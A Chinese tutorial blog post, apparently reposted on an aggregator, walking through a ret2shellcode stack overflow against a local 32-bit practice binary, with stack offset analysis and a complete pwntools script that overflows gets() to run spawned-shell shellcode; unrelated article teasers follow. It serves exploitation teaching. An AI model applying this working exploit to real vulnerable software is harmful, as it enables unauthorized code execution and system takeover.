堆栈认知——栈溢出实例(ret2shellcode)

参考:栈溢出实例–笔记二(ret2shellcode)
地址:https://qingmu.blog.csdn.net/article/details/119303513

目录

  • 1、栈溢出含义及栈结构
  • 2、ret2shellcode基本思路
  • 3、实战一下
    • 3.1、二进制程序如下
    • 3.2、分析调试查看栈
    • 3.3、编写payload获取shell
    • 3.4、操作结果

1、栈溢出含义及栈结构

请参考前一篇博文

2、ret2shellcode基本思路

ret2shellcode需要我们控制程序执行shellcode代码。即ret2shellcode的目标就是在栈上写入布局好的shellcode,利用ret-address返回到shellcode出执行我们的shellcode代码。

注意:在栈溢出的基础上,我们都是向栈中写入内容,所以要执行shellcode,需要对应的binary文件没有开启NX(栈不可执行)保护。

补充:什么是shellcode?
shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。

3、实战一下

3.1、二进制程序如下

在这里插入图片描述
可以看出这个程序是个32位的程序,什么保护机制都没开。

部分汇编如下:
在这里插入图片描述
反汇编伪代码如下:
在这里插入图片描述
我们发现这里有gets函数,并且未对输入的s做限制,那么肯定是通过s写入更多的内容来做栈溢出。

3.2、分析调试查看栈

我们运行到gets函数,查看栈结构:
在这里插入图片描述
此时栈的第一个参数的地址为0xffffd3fc,s的地址为0xf7ffd000。

此时我们想执行我们的shellcode,肯定要覆盖ret-address的地址嘛,ret-address的地址就在ebp的后面。
在这里插入图片描述
此时我们eax(gets函数第一个参数地址)的地址为:0xffffd3fc
ebp地址为:0xffffd468
ret-address的地址为:0xffffd46c

所以我们想覆盖到ebp(不包含ebp)的话就需要:0xffffd468-0xffffd3fc=0x6c 长度的字符串 ,覆盖ebp的话就得在家0x4个字节,此时就到了ret-address的地址了,这里就得跳到我们的shellcode的地址。

但是得注意我们的shellcode是在man结束后覆盖的返回值地址,那么此时gets函数的栈会被清空或者覆盖或者释放掉。那么此时我们覆盖的ret-address地址会找不到。但是我们发现
在这里插入图片描述
在这里插入图片描述
这个buf2是个bss段的地址,那么buf2的地址是不会变的,我们就可以让程序调到buf2的地址来运行我们的shellcode。

3.3、编写payload获取shell

和上篇文章一样使用Python来写。

# coding=UTF-8
from pwn import *     				#引用pwn库
p = process("./ret2shellcode")		#指定程序
buf2_addr = 0x0804A080				#放置执行shellcode的地址
sc = asm(shellcraft.sh())			#生成shellcode
payload = sc.ljust(0x6c+4,"a") + p32(buf2_addr)  # 构造payload
p.sendlineafter("No system for you this time !!!\n",payload)  #在“No system for you this time !!!\n”后开始用payload覆盖栈
p.interactive()                   #生成一个shell与我们的shellcode交互

3.4、操作结果

在这里插入图片描述

此时已经成功的拿到了shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/264844.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Glusterfs初试

Gluster的模式及介绍在此不表,这里只记录安装及配置过程。 1.整体环境 server1 : gfs1.cluster.com server2 : gfs2.cluster.com Client: 2.安装Gluster 下载软件https://access.redhat.com/downloads/content/186/ver3/rhel---7/3.4/x86_64/product-software 下…

如何查看光驱硬盘托架的尺寸_如何确定光驱位的硬盘托架的大小尺寸和接口

如果你想在电脑光驱位安装固态硬盘,前提必须要确定光驱位硬盘托架的类型,如大小尺寸和接口参数。下面将介绍大家如何确定相关参数,其适合于联想,华硕,惠普等电脑品牌。1,最合理的确定方法是到Windows 设备管…

[Android Pro] ant 编译android工程

参考文章: http://blog.csdn.net/xyz_lmn/article/details/7268582?reload http://hubingforever.blog.163.com/blog/static/1710405792013220840347/ http://www.cnblogs.com/tankaixiong/archive/2010/11/24/1887156.html 一,准备ant ant 官网可下载h…

堆栈认知——堆简介

参考:Linux笔记–堆简介 地址:https://qingmu.blog.csdn.net/article/details/119510863 目录1、前言2、堆的由来3、Linux中堆简介4、堆分类4.1、请求堆4.2、释放堆5、内存分配背后的系统调用6、堆相关数据结构7、堆的申请8、调试验证1、前言 当前针对各…

(0.2.6)Mysql安装——编译安装

参考我的另一篇文章:https://www.cnblogs.com/gered/p/9539333.html转载于:https://www.cnblogs.com/gered/p/10359289.html

ubuntu查看gpu使用率_如何监控GPU卡的使用率(Linux)

Linux系统,在程序运行的时候,如何实时监控GPU卡的使用率呢?首先,你需要安装好CUDA。然后,你需要将CUDA的bin目录加入到PATH中。方法是在终端窗口输入如下命令:# vi ~/.bashrc将 /usr/local/cuda/bin 加入到…

sqlserver2000 mdf 文件导入

在Enterprise Manager中菜单\工具\sql analyze 把数据库的数据文件(*.mdf)和日志文件(*.ldf)都拷贝到目的服务器,在SQL sp_attach_db dbname test, filename1 d:\mssql7\data\test_data.mdf, …

如何为 Horizon View 配置 VMware VSAN?

原文:http://myvirtualcloud.net/?p5440注明:本文内容基于 VMwareVSAN beta 版本撰写,请访问http://www.vmware.com/products/virtual-san/获得有关正式版本的更新信息。我已经在前面的文章中讨论了VSAN 给 Horizon View 带来的益处&#xf…

配置vscode远程免密登入Linux服务器

视频教程:https://www.bilibili.com/video/BV1s64y167cM?vd_sourcecc0e43b449de7e8663ca1f89dd5fea7d 参考:配置vscode远程免密登入Linux服务器 地址:https://blog.csdn.net/weixin_54178481/article/details/123977675?spm1001.2014.3001.…

P1552 [APIO2012]派遣

链接 https://www.luogu.org/problemnew/show/P1552 思路 忍者数量肯定越多越好 那就从下到上的合并它的孩子 左偏树的话 顺便维护一个tot,大头堆,如果tot大于了m,把大的删掉 如果左偏树忘干净了或者没学的话 线段树合并也是个不错的选择 直接…

Wss 3.0安装指南(一)

Wss 3.0安装指南(一) "基本" 模式 WSS3.0的安装可分为独立服务器安装和服务器场安装,前者是将所有的服务和应用安装在一台Server 上,后者则是…

java web 程序---javabean实例--登陆界面并显示用户名和密码

重点:注意大小写,不注意细节,这点小事,还需要请教 发现一个问题,也是老师当时写的时候,发现代码没错,但是就是运行问题。 大家看,那个java类,我们要求是所有属性均为私有…

智能五子棋基本思路

前些天闲时写的,在学数据结构的时拿来练手的.没技术含量,最有技术含量的AI部分,我是看别人(园子里叫二十四生的)的算法改的.刚弄了一下午小程序弄不过去,头疼,现无聊的紧,闲着发着玩.当消遣主要发下AI核心算法.有兴趣的同学用VB,VC.VC#都可以一起做着玩.保持对编程的兴趣.其它没…

webpack 4.0 配置文件 webpack.config.js文件的放置位置

一般webpack.config.js是默认放在根目录的,不在根目录的时候需要在package.json中制定位置,我的配置文件目录是config/webpack.config.js,在package.json文件中的配置为: "scripts": { "build": "webpack --mode p…

Python-memcached的基本使用 - Flynewton成长点滴 - 开源中国社区

Python-memcached的基本使用 - Flynewton成长点滴 - 开源中国社区Python-memcached的基本使用 发表于3年前(2010-12-04 00:02) 阅读(9601) | 评论(3) 12人收藏此文章, 我要收藏 赞1 python memcached 想学Python,又想…

快速构建ceph可视化监控系统

https://my.oschina.net/colben/blog/1844602 https://my.oschina.net/u/3626804/blog/1859613转载于:https://www.cnblogs.com/diyunpeng/p/10363183.html

阳奉阴违(转载)

这个词不是好词,大家都这么看,但现在生活里却经常要照它做,表面上应付一下,表示一下,然后再怎么做就随便;如果你不表示这一下,那就怎么也不行。 MSN和Yahoo就已经理解了这个问题,并且…

PowerShell远程管理Windows Server(2):公网访问【web形式】

*此文章只适合于windows server 2012版本以上;Powershell Web Access需要两个步骤才能使用:一、安装powershell web access功能;二、配置powershell web access;只要在服务器上启用powershell web access功能,即可通过…

POJ 3090 Visible Lattice Points 【欧拉函数】

<题目链接> 题目大意&#xff1a; 给出范围为(0, 0)到(n, n)的整点&#xff0c;你站在(0,0)处&#xff0c;问能够看见几个点。 解题分析&#xff1a;很明显&#xff0c;因为 N (1 ≤ N ≤ 1000) &#xff0c;所以无论 N 为多大&#xff0c;(0,1),(1,1),(1,0)这三个点一定…

2005的行列转换

2005的行列转换: create table ta(编号 int,人员 varchar(5), 年份 int,月份 int ,[1号] varchar(5), [2号] varchar(5),[3号] varchar(5),[4号] varchar(5))insert ta select 1, 张三,2006, 1, 正常, 迟到, 迟到, 事假union all select 2, 张三, 2006, 2, 迟到, 事假, 正常, 正…